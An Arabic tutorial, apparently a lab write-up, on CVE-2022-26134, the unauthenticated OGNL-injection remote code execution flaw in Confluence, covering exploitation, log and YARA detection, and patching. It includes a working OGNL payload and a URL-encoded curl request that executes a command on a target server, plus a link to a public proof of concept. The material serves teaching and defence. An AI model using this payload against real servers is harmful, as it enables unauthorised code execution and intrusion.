
تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة في Confluence عبر حقن OGNL (CVE-2022-26134)
تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة في Confluence عبر حقن OGNL (CVE-2022-26134)
في 30 مايو 2022، حددت منظمة تُدعى Volexity ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) دون مصادقة (بدرجة 9.8 على مقياس NIST) في إصداري Confluence Server وData Center من Atlassian (https://www.atlassian.com/software/confluence).
Confluence هو إطار عمل تعاوني للتوثيق وإدارة المشاريع للفرق. يساعد Confluence في تتبع حالة المشروع من خلال توفير مساحة عمل مركزية للأعضاء.
الإصدارات التالية من Confluence معرّضة لهذه الثغرة (CVE):
يمكنك الاطلاع على إدخال NIST لـ CVE-2022-26134 هنا (https://nvd.nist.gov/vuln/detail/CVE-2022-26134).
تستخدم هذه الثغرة (CVE) ثغرة داخل لغة تعبير OGNL (Object-Graph Navigation Language) الخاصة بـ Java. تُستخدم OGNL لجلب خصائص كائنات Java وتعيينها، من بين أمور أخرى كثيرة.
على سبيل المثال، تُستخدم OGNL لربط عناصر الواجهة الأمامية مثل مربعات النص بالكائنات الخلفية، ويمكن استخدامها في تطبيقات الويب المبنية على Java مثل Confluence. يمكننا رؤية كيفية استخدام OGNL في لقطة الشاشة أدناه. تُدخل القيم في نموذج ويب، حيث تُخزَّن هذه القيم في كائنات داخل التطبيق.
الاستغلال يمكننا إساءة استخدام حقيقة أن OGNL قابلة للتعديل؛ إذ يمكننا إنشاء حمولة (Payload) لاختبار الثغرات والتحقق منها.
لاستغلال هذه الثغرة داخل OGNL، نحتاج إلى إرسال طلب HTTP GET ووضع حمولتنا داخل URI. على سبيل المثال، يمكننا توجيه بيئة تشغيل Java لتنفيذ أمر مثل إنشاء ملف على الخادم: "${@java.lang.Runtime@getRuntime().exec("touch /tmp/thm/")}/".
يجب ترميز هذا الرابط (URL encoding). يمكنك استخدام هذا الموقع للمساعدة في ترميز حمولاتك (لاحظ أن حمولة curl يجب أن تنتهي بـ / وليس $2F). الأمر: user@host~ curl -v http://<target_ip>:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/thm%22%29%7D/ الآن، تحقق من أن الأمر أعلاه نُفّذ بنجاح عن طريق تنفيذ الأمر "ls /tmp".
هناك عدد قليل من استغلالات PoC المجرّبة، وسأعرض استغلال Samy Younsi (Mwqda) المكتوب بلغة Python والمستضاف على GitHub (https://github.com/h3v0x/CVE-2022-26134).
الكشف ملفات السجلات Confluence هو خادم Apache Tomcat حيث توجد السجلات في /opt/atlassian/confluence/logs. يمكنك استخدام أوامر مثل grep للبحث عن طلبات HTTP GET للحمولات التي تستخدم بيئة تشغيل Java لتنفيذ الأوامر. على سبيل المثال:
grep -R "/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22" in catalina.out
YARA إذا كان لديك Yara مثبتًا على الخادم الذي يشغّل Confluence، فقد أنشأت Volexity (مكتشفو الثغرة) قاعدة Yara لاستخدامك، وهي متوفرة في هذا المستودع وكذلك على الرابط التالي (https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar).
التصحيح أصدرت Atlassian نشرة استشارية لمنتجاتها المتأثرة بهذه الثغرة، يمكنك قراءتها هنا (https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html). لحل المشكلة، تحتاج إلى ترقية إصدار Confluence لديك. القائمة المقترحة وقت النشر هي:
تذكّر أن OGNL هي لغة تعبير لتطبيقات الويب المبنية على Java، لذلك ستنطبق هذه الثغرة أيضًا على تطبيقات الويب الأخرى التي تشغّل نفس الفئات التي يستخدمها Confluence!
مواد قراءة إضافية: